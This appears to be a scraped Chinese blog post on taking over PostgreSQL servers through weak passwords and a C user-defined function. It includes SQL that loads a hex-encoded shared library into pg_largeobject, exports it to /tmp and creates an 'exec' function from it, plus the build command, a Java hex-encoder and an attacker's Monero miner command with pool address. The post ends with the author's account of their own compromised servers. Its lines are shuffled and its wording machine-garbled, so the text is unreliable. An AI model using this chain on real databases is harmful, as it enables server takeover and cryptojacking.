postgresql 弱口令 UDF 攻击

  • 时间:
  • 浏览:0

参考:https://www.postgresql.org/docs/9.5/static/xfunc-c.html

CREATE or replace FUNCTION exec(integer) RETURNS integer

     AS '/tmp/cmd.so', 'exec'

     LANGUAGE C STRICT;

执行自定义函数cmd.c的exec土办法 :

/* by reference, fixed length */

附:

    SET_VARSIZE(new_text, new_text_size);

java工具: 将cmd.so 二进制文件做成16进制字符串,每行<=2kB

text *

黑客启动的挖矿程序运行执行程序运行:

/* by reference, variable length */

    return new_point;

    return result;

float8 *

1.首先通过端口扫描到弱口令 postgresql 账号密码

    new_point->x = pointx->x;

/tmp/iftghlv -c x -M 

stratum+tcp://49rR8E9A3CZN2jdNpJK4NMLYKCM9TLbSEAB4m9FxLgXZC4pvz6mWfxK6NRHv9Y3C3Xa9nqRLjUUHfU7werrSne1DP3Ufgw2:x@xmr.crypto-pool.fr:3333/xmr

Point *

public static String byteToArray(byte[] data){  

   String result="";  

   for (int i = 0; i < data.length; i++) {  

   

       result+=Integer.toHexString((data[i] & 0xFF) | 0x400).toUpperCase().substring(1, 3);

       if((i+1)%2048==0){

    result+="\r\n";

    }

   }  

   return result;  

}  

public static void main(String[] args) throws Exception {

byte[] data=FileUtils.readFileToByteArray(new File("C:\\Users\\martin\\Downloads\\package\\libtest.so"));



String result=byteToArray(data);

System.out.println(result);

}

#include "stdlib.h"

#include "postgres.h"

#include <string.h>

#include "utils/geo_decls.h"

#ifdef PG_MODULE_MAGIC

2.UDF  自定义函数,本地首先编译制作 so 文件,并上传到服务器

    *result = *arg + 1.0;

创建函数:

cmd2.c:

text *

 gcc cmd2.c -I`pg_config --includedir-server` -fPIC -shared -o cmd.so

SELECT lo_export(390334, '/tmp/cmd.so');   //导出 到 /tmp 目录

通过sql命令,将cmd.so 导出到 /tmp 目录下

select lo_creat(-1);

delete from pg_largeobject where loid=390334

select * from pg_largeobject where loid=390334

insert into pg_largeobject (loid,pageno,data) values(390334,0,decode(''FFXXXXXXXXXXXXX....','hex'))

可不才能 在土办法 中执行启动程序运行等,postgres亲们公司2台阿里云服务器被人用你这俩 土办法 放了挖矿程序运行因为着cpu占用率400%,研究了一天搞清楚了原理,出理 土办法 将postgresql密码修改复杂化

/* by value */